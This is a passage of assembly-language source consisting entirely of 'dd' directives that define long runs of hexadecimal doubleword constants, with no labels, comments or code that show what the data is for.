		dd 0B746B637h, 895001Dh, 746EC71Eh, 4D0FECFFh, 40248557h
		dd 0D7BA35F2h, 38E200A0h, 0DC80BF96h, 0C00029DAh, 1DB3600Ah
		dd 72C6607h, 4865D9Ah, 14E7F028h, 0F900CC87h, 4E27E3E9h
		dd 0FDCA925h, 0EC16B6BCh, 0A171DA60h, 4500BD82h, 0A19EF9Bh
		dd 59EAAAh, 0C1A39179h,	0E91BF81Eh, 21005C77h, 3AE46A9Ch
		dd 0F672771h, 0FEA07B92h, 0BD8BC480h, 730057C7h, 9925C0BBh
		dd 309CECCh, 491359E4h,	74B37A2Ch, 86BCCDC0h, 4215BE00h
		dd 4093E3D2h, 38FB00D8h, 7EF409D3h, 1C90D51Ch, 8347193Bh
		dd 0F61562D1h, 3AA0F188h, 0C636D0h, 0B50D8BCFh,	0D9E829F9h
		dd 0F3001A7Ah, 9CE42211h, 0E6F1802h, 93FC3B17h,	0A78C160h
		dd 0CA016DB1h, 450E998h, 0BBF8AB6Ah, 5410C099h,	6F5660E5h
		dd 81C60F09h, 42F40051h, 101E97h, 0AB22C38h, 33562F30h
		dd 1D7CEA0Ch, 0F1918F9h, 493980EDh, 0C9FBB8B8h,	378E210Ah
		dd 4D0124C2h, 0D48643B5h, 5E62D883h, 25C8583Dh,	69181C0Eh
		dd 0B6118B36h, 0D68500D3h, 18891510h, 0E9011F0Dh, 5D8D52D7h
		dd 0A2FC1A21h, 48081883h, 0E66460DCh, 6C57600h,	0A8D1FE47h
		dd 0C359007Ch, 7DF1E340h, 8500911Dh, 58464DABh,	0F0E52920h
		dd 0B81700A6h, 0B36B2B7Ch, 0C017B75h, 8F730F38h, 0C1FC784Fh
		dd 0C4BD2676h, 574600E7h, 9AF607E5h, 0E6BECE1Eh, 8EF1478Ch
		dd 3C7521h, 69195DDBh, 0CB6DD308h, 5A22931Eh, 0BE066A00h
		dd 26BD01h, 549E6CF2h, 0AF238402h, 5D825200h, 5F4C2A1Eh
		dd 80D70083h, 0D702EF4h, 811D061Bh, 0FDC06ED2h,	306AF642h
		dd 54A94C04h, 0B0BAE605h, 90A8508Bh, 9BBC0442h,	54CA5D1Fh
		dd 0B242BE00h, 1875DFh,	4691CB13h, 19EBE87Ah, 77738D00h
		dd 24DD0AB6h, 1AC14CDEh, 54550071h, 8EFAE446h, 0A1C7F9Bh
		dd 8039763Fh, 2C0AD52h,	0B31974h, 0C3E01B14h, 5EACFD87h
		dd 0A1564B24h, 84E9A400h, 3CA10E2Ch, 99C7755h, 65A98E8Eh
		dd 0B0800809h, 74E39884h, 1787BE00h, 0F7D98E0Dh, 57ED00F1h
		dd 0CDFE6590h, 0BE0019CAh, 25C48147h, 0CB0A16h,	0DBE404C1h
		dd 0C5309259h, 0AD266B04h, 14C0692Ah, 0BF9D0Bh,	684F05CBh
		dd 0D25FB84Dh, 0DB4A1F16h, 3F9E3C00h, 21BE60h, 150C0633h
		dd 96E3DF3h, 32E6D0EAh,	0D5C71C00h, 671B2BEAh, 0CDF3008Ch
		dd 38FE8692h, 9F00CA94h, 41D5D959h, 0CE555Eh, 0E68835FCh
		dd 1815DFD2h, 5971D700h, 0C7BE2029h, 7D76E86Ah,	0EF220EE4h
		dd 0AF401672h, 0BB6E12D5h, 0D885ED28h, 62749D00h, 996B0CB4h
		dd 1321026Dh, 69BF4015h, 0AB7B58C0h, 1F477C0Eh,	2C7A81FEh
		dd 0F8507212h, 5ED4D90Bh, 0C168E05Bh, 0CE712216h, 8B93A300h
		dd 33069DDh, 2D27525Dh,	0ECC02B64h, 0F1002158h,	3EED8344h
		dd 3CFBEAh, 0B7B6F053h,	0B4DF9C6Bh, 0BC5BC800h,	0B8425506h
		dd 0A3731DC5h, 0C2CF5h,	7D4813FDh, 9A03D170h, 0A452CE32h
		dd 0D126A367h, 0F840B0FBh, 9D8B2DAh, 0D75584F1h, 406F7091h
		dd 1FDF96B8h, 9AC8AB00h, 0CF157EA3h, 3DC3D56h, 0E8313380h
		dd 674BED26h, 0F19CE307h, 0EE966h, 0DE6E9821h, 7A01008Bh
		dd 42B03204h, 0DF50784Dh, 0E8ECC388h, 0DBF64602h, 0E05B576Eh
		dd 0F1CA7B00h, 597E8h, 8BF39ADDh, 14688354h, 4F936B01h
		dd 88203374h, 35DC1FC1h, 28D1001Ch, 4CC75EF1h, 0D34C11D0h
		dd 0F2A80090h, 8E37FD04h, 86831C53h, 0D5BCBC3Eh, 8571FC80h
		dd 822C0657h, 27655A00h, 45CC25B4h, 0E86903A0h,	0E2F372EEh
		dd 47AF50FFh, 35000C1Dh, 0B5832DC5h, 39293CC8h,	0A8819224h
		dd 0F42542AFh, 5BD884E2h, 7600EB58h, 0DFB52375h, 0CBC97100h
		dd 3C0EB8E1h, 0D70A392Fh, 8BA65C80h, 0C027F7F0h, 16C1650Ch
		dd 0BBB0FAh, 79BF6E3Bh,	17C895BEh, 7F456207h, 4480873Eh
		dd 391D7B51h, 1EA8BA52h, 0B6B302FCh, 68DD384h, 6400DC44h
		dd 13D9FD92h, 2616851Dh, 73499AEh, 3BA2CE9h, 0CEA83B23h
		dd 2530E5B0h, 1E0481Dh,	0D6830061h, 2315DB75h, 8C736006h
		dd 243BD90Bh, 0B718619h, 32010060h, 1427D305h, 0A518B0E1h
		dd 0DBFE0681h, 0C4E0071h, 0B2BE3989h, 0CB3A3452h, 81F900D3h
		dd 0D6447E8Fh, 748A0023h, 0F787F3F4h, 0A7005339h, 2638074Ah
		dd 129DECh, 7D664C46h, 0D5356559h, 0C8017E00h, 0E6D3D2C6h
		dd 1B8E0517h, 0C05D9DA8h, 0FF33F328h, 0A50173F8h, 0D1A35D3h
		dd 58C1953Fh, 0FA4FB4FCh, 16CF0072h, 0C9818B53h, 1873554Ch
		dd 0C133C01h, 82EA997Ah
		dd 5D12F420h, 0CA0084BDh, 1A9EB8E4h, 98001DF4h,	0F616A814h
		dd 3C1E6CBh, 0B91F092Bh, 0D6E08577h, 5C1C11ACh,	0C580989Bh
		dd 9F743A4Dh, 50D89FE1h, 5B83Bh, 240BC819h, 3F89104h, 57369A7Ah
		dd 0FEF8C37Ch, 0DE00450Ch, 2E32ECB7h, 796A802h,	1581A36Ah
		dd 93630062h, 7000B289h, 0FDB9924Bh, 24C21Ch, 4F5C933h
		dd 86CD1FAEh, 8B417A3Ch, 80278D95h, 58893014h, 38D800C2h
		dd 0E09C466h, 0CCF1FA69h, 787B920Ch, 2914202Ch,	4973C200h
		dd 72071Ch, 0DF3A462Bh,	65BC9AE7h, 90A9C000h, 0F78B4144h
		dd 2E8107B4h, 65FFD379h, 102587BAh, 5CF097E8h, 44572703h
		dd 0E029C846h, 0B60358Eh, 0AB894B4Ch, 0BA00AC0Bh, 6FF9B5Bh
		dd 0B9B54500h, 4011CEC6h, 0A09A5029h, 0F77B88h,	0E5AECD9Dh
		dd 972341C0h, 0CA6A4A00h, 1D84543Ch, 6D9B00B9h,	410C467h
		dd 5B005C7Ah, 0B420BDF9h, 5F6196h, 0A0798E3Bh, 16733619h
		dd 35EBC300h, 0C4E08CDBh, 0D3C700D8h, 0BE468A1Bh, 8703830Dh
		dd 0B48BB77Bh, 0B6A980EFh, 339900EAh, 0F7DBC49Ch, 0CD13867Fh
		dd 0B00BCB8h, 0E27E34A3h, 0FCDC0043h, 27DDF493h, 4500B0C4h
		dd 0C3D66F0Eh, 12E518h,	8EB60C03h, 0FB6B424Ah, 0C0E0CA26h
		dd 0D32CCD00h, 537C1Ch,	334DBF65h, 5258E136h, 0C75F4F00h
		dd 0CED90C6h, 291B00DAh, 0EFEB59F9h, 43E4FB13h,	0CBCCC80Fh
		dd 96D1027Dh, 4F02C01Bh, 3F800A2h, 0BD253253h, 0D600ABA6h
		dd 0A1C47044h, 5E4087h,	0AA65F614h, 4C4115EFh, 0BCFA6200h
		dd 432C9773h, 7E077FFh,	0D1202454h, 0E2B80D8h, 0A000EC3Dh
		dd 28B45B78h, 717E11CCh, 0F1502C34h, 0ADF00EFh,	5DE3A77Ch
		dd 6949902h, 70D464D2h,	952D1F38h, 358A80CFh, 0FD1E5BB5h
		dd 743F3E1Bh, 79AE8890h, 6B2A0013h, 0AF608730h,	0A1E4179Dh
		dd 98985Dh, 0BA5C7E66h,	26109E19h, 0EE088Dh, 5D7B01C2h
		dd 821FEFB1h, 0ADAC2CF0h, 140F2712h, 6D0260EAh,	4C7B47A5h
		dd 100B17Ah, 1A9914A2h,	8C98CB4Eh, 2F600A02h, 5083A338h
		dd 0D89800A4h, 5C4A8717h, 7CF6ACEEh, 0FA12ABF0h, 0EC9085B3h
		dd 2642B61h, 0B1789048h, 2BC0BF06h, 1800A687h, 2152C2FBh
		dd 1262F628h, 89144Dh, 0E711B5C8h, 86B8CD19h, 88092CB8h
		dd 484581D2h, 0FF030ADCh, 5994DCh, 0C8F421F5h, 0E11F732Dh
		dd 62472A12h, 41425CC7h, 2390A1CFh, 75D4C24Eh, 0EEE718C9h
		dd 7C367829h, 0D5BB0B01h, 24FBD271h, 8EECD4h, 99E01C3h
		dd 86F37A16h, 904B551Eh, 3C9CD940h, 9D597E39h, 881EB870h
		dd 58805753h, 8D1A954h,	0E75B1CA1h, 4EF10034h, 703B8A92h
		dd 863D1B00h, 0CEC4366Bh, 30BB3E67h, 6E4D0B80h,	0F77173Ah
		dd 6230607Fh, 0ED34B087h, 0A832008Ch, 54799631h, 3A39F741h
		dd 0CCA80AFh, 0D555C585h, 0D0E839h, 4B5D1716h, 0C9A6A2DAh
		dd 7501CC7Fh, 3E33D558h, 0FCF4E72Eh, 0AABB26CBh, 54981630h
		dd 4421C78h, 0C161C1EBh, 0BE0B1201h, 23C3040Ch,	4D00DA10h
		dd 979E9CDDh, 1C7624h, 0DB9DFE0h, 0CC060B22h, 657A54Ch
		dd 9F88CE91h, 0D1E82228h, 0A88807FEh, 88F088A9h, 97B95204h
		dd 9C44D34Ch, 28044A03h, 29565E0Ch, 0C8D24490h,	4223EB20h
		dd 7B9308C0h, 0D0740853h, 88D8B588h, 0FB88AF7Ch, 5038947Ah
		dd 29E59E3Ah, 75500698h, 0DC502947h, 7920093Ch,	14B4502Fh
		dd 0E076444Ah, 277151C0h, 1712A33Bh, 0E4FA834h,	0B3A9A2EAh
		dd 0BB584C80h, 0AE003BCFh, 33B5B726h, 0F94DC4h,	428B94C9h
		dd 0DBA93D3Eh, 0D90027E4h, 43610641h, 161BC628h, 185EB54h
		dd 0DE5DC3A2h, 0FD9CC4AFh, 63A7131Fh, 6C6F0B00h, 0F095030Eh
		dd 0AC0000Dh, 0CCCB32ABh, 930205A3h, 0F1B57AC8h, 58E780F7h
		dd 13274FEAh, 602C32h, 0B4129BD0h, 0FF001F02h, 26ACA7A5h
		dd 0E2BF9EF3h, 8FF100D7h, 0EFE08744h, 61007411h, 4E885E56h
		dd 12F91222h, 60C3D7h, 20C2DD18h, 0AE773D23h, 630C791Dh
		dd 3BF26140h, 586C481Ch, 2D006DF9h, 0AAD8CCABh,	0FE3E8C83h
		dd 1C348059h, 5D78A171h, 407A01A2h, 102B2E15h, 0B7CCE811h
		dd 0AE9A3Eh, 0C737CE87h, 0FD3CF6h, 0EE4F327h, 47C58DD3h
		dd 99730D07h, 0F710D99Fh, 0B7CA07h, 7CDF3CA7h, 2C8C6E3Bh
		dd 1200B67Ah, 2429221Eh, 0F546CCh, 683F3105h, 2FB19417h
		dd 0A626CE00h, 4A2CD856h, 876302C9h, 28C692CDh,	0AE8112E0h
		dd 1460E900h, 1BEA9B11h, 0B5A2001Dh, 0F669892Fh, 7A0EA526h
		dd 201028EFh, 0A7189EBDh, 2BF30F44h, 6DE3CB96h,	20002357h
		dd 0ACDD3C90h, 770DB734h, 1AD40056h, 5801E1BEh,	7700D6DFh
		dd 4B542363h, 1B76003h,	746CBA76h, 0DC3F19B3h, 7716D458h
		dd 3FECF29h, 8D0DE329h,	0EB8E8800h, 85E2877Ch, 2330044h
		dd 2D82A2D0h, 68E6B81Bh, 61C0F400h, 90448E91h, 2CD32DDFh
		dd 0AA460EFFh, 0AC009F65h, 0CF603D1Ah, 1C67059h, 0E8497F0Eh
		dd 0D4B42A1Eh, 4300AFA0h, 946AB036h, 51E9ACh, 681FF572h
		dd 5B28B84Bh, 12C4400h,	8F27E3E6h, 63350029h, 17CDB56Eh
		dd 0F2002FA0h, 14FE1151h, 0D91BD1h, 3941B905h, 0FB093519h
		dd 8B37B314h, 0D5DE03F1h, 985FA68Ch, 2C215EF5h,	0CE6F7Eh
		dd 1EDA516h, 6300C4DEh,	9C279941h, 3625DC1h, 0A7D78403h
		dd 38C09659h, 5B00872Ah, 9DBFDA56h, 58ECCh, 9E97807Ah
		dd 6FD7DEBBh, 55AB8100h, 5194C2C1h, 42D11D59h, 6C41002Dh
		dd 5A290683h, 0D7573006h, 76C2E1Bh, 19FE0A50h, 5D31C09Bh
		dd 9E075AA1h, 0B323D31Fh, 0BEB2BA20h, 663C00DCh, 0E1885C2Eh
		dd 7E00F1F8h, 0E5D71549h, 396E2185h, 47009A41h,	0A7429B97h
		dd 0E800E60Eh, 542B04A4h, 43C899h, 7A2DDF32h, 0BB9623F6h
		dd 0A2FC490Fh, 2F80BD5Eh, 509789BAh, 0EB800E5h,	4938CD29h
		dd 0F0E5375Bh, 19057F83h, 64CFC5B2h, 3E733AC0h,	5AC00787h
		dd 0AF3AD0A4h, 4FB8B361h, 0FF79F0FBh, 45BD800h,	740285BFh
		dd 385800BAh, 0C13A70A1h, 0AAB8331Dh, 0DA6F6900h, 0FF2228CAh
		dd 18C760B1h, 5BFA93CFh, 5F07401Dh, 970B80FDh, 2E4EE884h
		dd 0EFEA00E5h, 887DB105h, 443B678Ch, 4C93EB7h, 40088B28h
		dd 38AE0EC0h, 323C005Fh, 25CFED09h, 1800B46Ah, 0DD907479h
		dd 98E2DBh, 3CD4F24Ch, 5677E15Ch, 3667410Fh, 0AC704303h
		dd 0BA84806Ch, 0A0B40029h, 0AD4827B5h, 2F3D018Ah, 91778F0Ah
		dd 0B6C14034h, 0BDDCC3h, 368FD6ABh, 9A2D67F8h, 56E7D0F7h
		dd 1D580D3Ch, 40838E0Eh, 0F816AF70h, 0E47F6A46h, 7A67F862h
		dd 9F7BCDh, 3C349CE0h, 76F70C80h, 0EC65A000h, 3B0D48F5h
		dd 42D003CBh, 0E78E5C96h, 67A0B3A7h, 0A4B5A1F0h, 47CF1C00h
		dd 0B19F9BEEh, 0D1AB00FDh, 0B40DEF5Ah, 6B00425Fh, 6380E420h
		dd 0F4EA6FFh, 69FBB064h, 0F5A52A00h, 5309C91Ch,	0AD8D70h
		dd 7AE61A8h, 745D01FDh,	0F8A9DD40h, 0F999603Bh,	397A1E4Ch
		dd 3FE31C43h, 60AAC540h, 0A91C41h, 7B916C8Fh, 18296F92h
		dd 9D16D000h, 0C157622Eh, 1150001Eh, 3608E331h,	0F8FF2528h
		dd 980E5807h, 473CCB3Eh, 7E505633h, 0FC9E74DEh,	0A9500F8h
		dd 0E9527355h, 1B007B06h, 0FD6DB477h, 705AFF65h, 423F3FF0h
		dd 0C8F2EF80h, 0F4A3593Bh, 4BFA691Ch, 31A48780h, 7DF7DBh
		dd 8FDED3D8h, 5F092835h, 0A842200h, 0D9BDF6FBh,	470C03EFh
		dd 4B3AD739h, 54191DB0h, 9E0032ECh, 80BFF410h, 55AA46h
		dd 4873579Ch, 54E76B50h, 1C84FF00h, 33CEDFABh, 2FB8007Dh
		dd 6EBB267Fh
		dd 677DB281h, 6D15D000h, 5E17CFE5h, 8DE10B2Fh, 6E849388h
		dd 9F90C0AEh, 0A30013F3h, 0FFA724F5h, 0E2244h, 0A6D3FAA2h
		dd 19344192h, 30718800h, 85AC1F89h, 209E00A4h, 0A518870Fh
		dd 0F50E61CBh, 8241C72Ch, 0BAB5F3h, 5AB86CA9h, 1603857Ah
		dd 43175C15h, 0A5ECAD80h, 8FF3400h, 9CDDD92h, 0B1009879h
		dd 0F61F3E93h, 99E3F1h,	5C777580h, 0B2625271h, 3BE2D300h
		dd 0BE410FEDh, 3F847C11h, 0F8AA08h, 4E0968A7h, 3CA17457h
		dd 0C2A89000h, 0F1C68404h, 242E0301h, 0B47ADE95h, 0DEE5FD0h
		dd 0FEE858h, 0CBCE5EA0h, 91EB9E12h, 0D67A00F8h,	0AEC11F18h
		dd 6ADD1B00h, 59A8466Dh, 0E61230D0h, 33EA35EAh,	0B50001B0h
		dd 0AF3B98F9h, 743039Ah, 0D2C07EA2h, 9083E061h,	3E0741C3h
		dd 0AF498F10h, 88150BB0h, 0B2A30045h, 67810C3Ah, 42C014B9h
		dd 222B4E05h, 742400FDh, 0B8CF908Ch, 0E80F83F5h, 0C0110AE4h
		dd 590B3A52h, 6D61039Ah, 8918D050h, 0E1C995E0h,	6F458700h
		dd 0FC35B201h, 0CC3D010Fh, 6DCF471Eh, 0A7D4F0EBh, 0CBAD2500h
		dd 22827A26h, 0D87185h,	0F753B970h, 0AD382BBAh,	0D29FD000h
		dd 1C2884FCh, 1AB7004Ah, 610C223Bh, 0A101698Ah,	0BE7B888Eh
		dd 73ECA6B9h, 0DE6007E2h, 7017C95Dh, 554F1ED2h,	0ADD59301h
		dd 0BAD4C750h, 4C1AEBE4h, 0F65890B2h, 2543D00h,	0F7A3D755h
		dd 3F2B5E00h, 0B2B014C3h, 0D5BF0010h, 0F4FA67EDh, 3A1678EAh
		dd 0A80090AEh, 0BCDB7185h, 0B7FC056Ah, 809BC02Eh, 0CD7EB259h
		dd 0BF3A800h, 0CE4DA59Eh, 0D68000B8h, 9CF5F9E4h, 0FE1D1463h
		dd 930FF4E7h, 0EDAA7B6h, 516E8A10h, 59A1001Fh, 74BB3253h
		dd 4000B8D9h, 6FDA6B0h,	7F1D49Eh, 800A1AF3h, 0F07F610Bh
		dd 0E809D934h, 1B003A83h, 0C4740DA1h, 90CF97B7h, 79FB005Eh
		dd 229ABA43h, 1000A563h, 418D35A3h, 7C0A0CCAh, 11CE0172h
		dd 0CFE1D8A0h, 15E4D062h, 655F5D01h, 0F2CA1070h, 0AE72220h
		dd 0DA0EFF83h, 2A990FEAh, 0CE9B9AC0h, 0DF00B3ECh, 7A327741h
		dd 9047AB12h, 0E834F9F0h, 59DA00CAh, 61319FC8h,	0CF002DDCh
		dd 43288A5Fh, 588DADh, 9B79ABC3h, 0E8D54402h, 1425439h
		dd 8C3ACCDFh, 4F20A146h, 8B9200E6h, 25D3D64Ch, 9D005539h
		dd 0B47207D5h, 19E53D1h, 134CDD09h, 0D8751132h,	930049B8h
		dd 0F57FB1C4h, 98898679h, 293A0000h, 97DAB9A6h,	9001F07Ch
		dd 0FC9B9910h, 0C4D0F285h, 61E20035h, 0CC0B7884h, 0D41DF507h
		dd 55C750E3h, 23C08FACh, 0AE2E0Eh, 26321713h, 94B6E6CEh
		dd 0E8BC50C0h, 5C4A79A0h, 6B109C9Fh, 908780C5h,	0BB21B52h
		dd 0A7EDF0E6h, 0C095BC07h, 0A0EE54FAh, 0BFAFDB00h, 6EE56A4Eh
		dd 2997004Ch, 9DD5A3F0h, 4A3B575Bh, 91AE9FA0h, 7D07003Bh
		dd 4844F837h, 30BE6FACh, 631B86A0h, 0F100B812h,	352577FBh
		dd 1354D37Eh, 0B282E4h,	0BCC29F76h, 0E228C40Dh,	0CF04875Ch
		dd 0A209560Fh, 668F4EC0h, 8A370064h, 31E2CDF4h,	3F00538Dh
		dd 0EDD9AB87h, 66E736h,	0BB830620h, 0F0DACBEFh,	0BC0096E6h
		dd 0DBCCE92Eh, 5207653h, 0B8BB97F7h, 39E1C3D5h,	0F8835688h
		dd 0D0824Ch, 228C0369h,	1DB9CAC5h, 7A74B41h, 11A1336Ch
		dd 0F0AD0747h, 3B161CF4h, 9F1E2BE6h, 0AD748C0h,	16E3F3h
		dd 0A18CA5DBh, 531544DCh, 0E1AC5800h, 12D74D80h, 69890E31h
		dd 52A0551Bh, 0ECBD610Fh, 0D07029F6h, 6A68703h,	0A8A1B228h
		dd 764666h, 0C6AFBB4h, 0DEC8E6D9h, 4072B817h, 0B697F400h
		dd 7B09CAA3h, 32D0019h,	47BECCE4h, 0F7093946h, 2C9F30Fh
		dd 0C0547AA8h, 2F063C40h, 377E583Fh, 4A6F2800h,	0FCF5902h
		dd 0DF3A47D5h, 980068A9h, 1B8B18F7h, 77903348h,	926A3902h
		dd 405A299Ah, 0DC3E98h,	5BACA938h, 9836D705h, 9EB66B00h
		dd 37EBBFB4h, 2D9900E5h, 0C6C1AFC8h, 9C502C9Fh,	7D3011B8h
		dd 5A0A9090h, 3DC1C09Bh, 1A24F461h, 231E8100h, 551DA57Ah
		dd 954C000Bh, 0B0B30DA4h, 20BA4318h, 5733C408h,	36CF0077h
		dd 5BC8479Fh, 7F0068ECh, 3C202893h, 7FCF004h, 0A471AD72h
		dd 0C9596070h, 0F4009F61h, 39217E47h, 9434E76h,	77A6CE9Ch
		dd 65497480h, 7148DCFBh, 2DB20C60h, 0F834195Bh,	0D88B4181h
		dd 2100D1CBh, 7952BF2Fh, 1FA1D3h, 0E5B9A8BAh, 0BCA55E97h
		dd 93FCD500h, 3BAAEA80h, 936F0CCh, 0A3DDEC43h, 0BCC46C0Fh
		dd 9E6881CEh, 0F7702094h, 1429CC18h, 165E6398h,	0B7D561h
		dd 4F4DAC37h, 0ADB80609h, 0A4FC5903h, 0D0FE57F8h, 1256606Ch
		dd 83E3368Eh, 7CF86D24h, 0E0007055h, 682A354Eh,	0FAF0C9h
		dd 1ABC9D5Ch, 535475EAh, 28DD048h, 0F2C6A2A8h, 861C60CDh
		dd 0B853101h, 58FC4CF9h, 0D844F388h, 0B65C0757h, 0A36532A7h
		dd 0FF852ABh, 100E37A0h, 0E0A38719h, 0DE673057h, 0E70B0979h
		dd 0A8836375h, 5AE8B5D8h, 8509196Eh, 89F278CAh,	0C7130250h
		dd 0B7F8A0A7h, 702F72D9h, 83788Fh, 7B5465FDh, 0DA4D1001h
		dd 28B0CD30h, 0FCA7B51Bh, 0BF420061h, 5BF139FFh, 400DA81h
		dd 0E7BEEAF7h, 0AFC9001h, 4B45242Fh, 94BB00B0h,	7E2AEDADh
		dd 0A037D100h, 293E9035h, 70061739h, 0E6B806BAh, 2E0C313Ch
		dd 96FD257Ah, 9CF600BEh, 496F678Ah, 5A370820h, 0E4F02938h
		dd 1B3D02Fh, 88FA9052h,	0FC693E32h, 2109AB45h, 265737Dh
		dd 6BB6DEB4h, 0A6B298C8h, 7B4C0F87h, 0C0DF450Fh, 0E37C510Eh
		dd 42389D77h, 19D6812Eh, 0BF5F4EC1h, 42601061h,	24B098h
		dd 3EAB5DBBh, 0F0791E7Ch, 4A500400h, 358EE40Ch,	0FEA2Ch
		dd 3CEEF72Bh, 29326DEFh, 0E4DCF928h, 4CCBFB2Ch,	0F22750h
		dd 9AED4C82h, 0C66EC25Fh, 0C40528B0h, 0CA2A06F4h, 0F240E81Ch
		dd 0BDCEA2EFh, 7D491F28h, 1CC101CBh, 20897164h,	0AF3FFA90h
		dd 80B13C9Dh, 4B7AA46Ch, 0C2FB39h, 0A79F73A5h, 0FF6E846h
		dd 0E86E100h, 283F49FDh, 0FCC7003Eh, 0D95CB615h, 4E726F53h
		dd 29A2DE00h, 0B54ABC24h, 7E0E6F9h, 36D85671h, 834360C8h
		dd 8E0007DFh, 0ADC04E70h, 676133h, 0EE39CB14h, 3D02A9AAh
		dd 0B82AE200h, 88B4CF3h, 482D001Fh, 0F4A7C1BCh,	0ED190C9Ah
		dd 35862F5h, 506CECh, 5DEE8C6Eh, 7A1D4E8Fh, 2861D300h
		dd 0BD3CCDACh, 0DCD90563h, 0C083FE93h, 8E5DC77Fh, 36FDEE2Ch
		dd 2A4BCC00h, 18A01C4h,	0D41013BFh, 0E0E2C711h,	0C200E5CFh
		dd 94A76340h, 39580851h, 6A80B6F5h, 1FCCF06Ch, 24004DC1h
		dd 8FF23BD3h, 8AB41Eh, 60834687h, 0ABFEB14Ah, 69C5FF00h
		dd 57554181h, 7CF4037Dh, 0AC5E8D19h, 377F4CF0h,	0C32E6B71h
		dd 48009598h, 52D1741Ch, 0DB230177h, 72F66DC4h,	6CD04880h
		dd 8B001578h, 0B09ED3C5h, 0F68DFC4h, 5A93288Eh,	7A8C0700h
		dd 6E7B6A59h, 0E2026100h, 0D4D216F7h, 4D0A00E4h, 37F190C2h
		dd 8E000918h, 843C9FFFh, 919BDBh, 35AECF28h, 0F8AFFCABh
		dd 9700BAEEh, 963E39EBh, 64BEC0CBh, 0C01019DBh,	689CD8Ch
		dd 8129F900h, 6C735BA3h, 3B8A00F8h, 0A6670D59h,	1800BAFEh
		dd 0EBA2E6D3h, 0F464BED1h, 0BFCA0012h, 0F04C8A9Dh, 7000DB1h
		dd 772D03A1h, 0AA5986h,	9E325D18h, 0B64520CCh, 0D900137Bh
		dd 8D5FC636h, 5EFA86h, 0FBD7DA2Bh, 3D8F9CA5h, 0AA66E400h
		dd 84964193h, 1DC00001h, 9D27E1FCh, 0B005879h, 0ED3C334Dh
		dd 0DC9591h, 886D8792h,	5A22A971h, 1A20CE00h, 0BFF1DB9Eh
		dd 175100B3h, 0F788AD75h, 0EA00895Ch, 8447D3DAh, 952FDFh
		dd 0EE498BC1h, 1D6ACE10h
		dd 822D3507h, 0D3F088E0h, 5A43B9h, 52F6640Fh, 0C1E1D9BEh
		dd 0F5318A00h, 0E25F50BFh, 2F8100E3h, 9ECE52DAh, 26004029h
		dd 0A61CEDFAh, 3B5BDFh,	302D8D34h, 782979A1h, 0AAD35300h
		dd 6A541135h, 7BF3013Bh, 0E6C0EFB2h, 0DA8A7024h, 5318300h
		dd 0B6B1F678h, 0CADC0092h, 464455D2h, 6000651Dh, 5EB7351h
		dd 3FF9AF0Ch, 6B80B890h, 9243FE8Dh, 0D2A1B64Eh,	13B5F857h
		dd 51426400h, 5B8F30Eh,	0FDF2A143h, 0C0AF2081h,	705F0A23h
		dd 8D00B037h, 0A15E5978h, 1C6B7EBh, 0D24721F9h,	0F4EF96C4h
		dd 0A600C912h, 0F09B761Fh, 0B063Dh, 7B6E49B9h, 0DD273913h
		dd 3509AD02h, 40FFBE4Ch, 0F838B8h, 0ABE80E6Eh, 0ED9A7031h
		dd 0D9097D00h, 478F81AEh, 38700E6h, 803E1B14h, 2800FE2Eh
		dd 357BE5A4h, 643775h, 0DD74EC04h, 8CB2D4CAh, 0F07340h
		dd 5DC9134Fh, 63E6F991h, 0ED077500h, 0BB5AC77Fh, 0B98B0EF8h
		dd 0DC4A8576h, 0DE1386h, 2386AE00h, 8A3D8FDDh, 8E5280FEh
		dd 6A81A67Dh, 0E9BA003Ah, 0C0FCAAB7h, 0BD00D4E2h, 1A03C35h
		dd 70CF6468h, 440B0012h, 0B4C30D53h, 0D200BAACh, 58278CB5h
		dd 47DBBDh, 83947DCEh, 57A546D0h, 68D9D700h, 0D40D72B5h
		dd 0E2220301h, 0A99E06Dh, 0C1EF2EA8h, 1CF9EB00h, 0ED3D917Eh
		dd 135F001Fh, 0BB4DFD77h, 53005A8Bh, 0FC83309Eh, 394E0AA1h
		dd 15BF39E2h, 664DDB80h, 0CC016886h, 81456A00h,	131C17A2h
		dd 6D351E72h, 2046000Bh, 0AC03718Dh, 379B3200h,	5D68DE7Ch
		dd 0A1F040h, 0AFE3B4C4h, 8B307363h, 1B9430Fh, 0BC516C11h
		dd 64D34CC6h, 89ADAC0h,	0CA006D47h, 0F07E83BCh,	914B2A4h
		dd 6A29583Fh, 36910480h, 0C3E0088Ch, 3B48D676h,	0BCB60094h
		dd 0CCFFF968h, 75AC01BBh, 5D8201BDh, 79ECF8A7h,	7FDFEA00h
		dd 8A04A292h, 57F44Ah, 0D67E5654h, 1C86503Fh, 0EE275101h
		dd 0D348E4B7h, 8CDD60h,	5985AE69h, 0F04EE250h, 92C58400h
		dd 445CB767h, 6F7E03DEh, 1A6E9CE6h, 0BA8327A8h,	7F6A7B12h
		dd 70F8F600h, 3691630h,	0EFBBCFCDh, 9588F6F7h, 6E00269Bh
		dd 5B32788h, 0B98149h, 6D701BECh, 61647EF7h, 1FBCC300h
		dd 970648B6h, 943E00FFh, 0D0F07253h, 0A0C542Ah,	0A0732C6Ch
		dd 8E2E126Ah, 115C4F5Eh, 0ECED6640h, 0F001A88h,	0C5AEE11Eh
		dd 50192915h, 1F7E8BDDh, 40A4BBFEh, 58F78701h, 76281245h
		dd 8F00FC6Ch, 0E0846195h, 1EDC809Ah, 8082BDA2h,	0C3CED2F6h
		dd 3005444h, 0B3FDB011h, 11D21DCh, 9F7E2C01h, 0C8289E92h
		dd 0D9790ECFh, 0DE94F700h, 0B8FAC833h, 0A64050FEh, 0A7891351h
		dd 0D4880057h, 0BBE34159h, 49957900h, 4C2FC267h, 0D23B0E86h
		dd 12FBB8h, 55C717D8h, 400DE8Dh, 0F83B78Eh, 0EA35CAh, 5D08ABA0h
		dd 846760B1h, 0E4F1C100h, 7645EF9h, 0A30AC07Dh,	0A0917B3Ch
		dd 6CC7A400h, 43E7BD6Eh, 0E0DB0159h, 79B33A26h,	4000E346h
		dd 858EF6D0h, 2C68304h,	4E64C80Dh, 0B8809698h, 0BE3D8DF2h
		dd 9900C37Bh, 30501A05h, 35B064Dh, 468AF041h, 11B01076h
		dd 0A4790EADh, 8308D63Eh, 5924DABAh, 3E98E896h,	0C0A007CFh
		dd 90B4E3E4h, 17944B4Dh, 62928E17h, 20129C0Fh, 1CCFA231h
		dd 20210056h, 544973C4h, 0BC0F3413h, 60EBA41Eh,	32191447h
		dd 5CD03C93h, 0EDB8BB00h, 0AF7959A7h, 0D27BA000h, 0B08AC905h
		dd 2586079Bh, 0D0981361h, 2FB54DCEh, 58EC3B25h,	2BDF123Ah
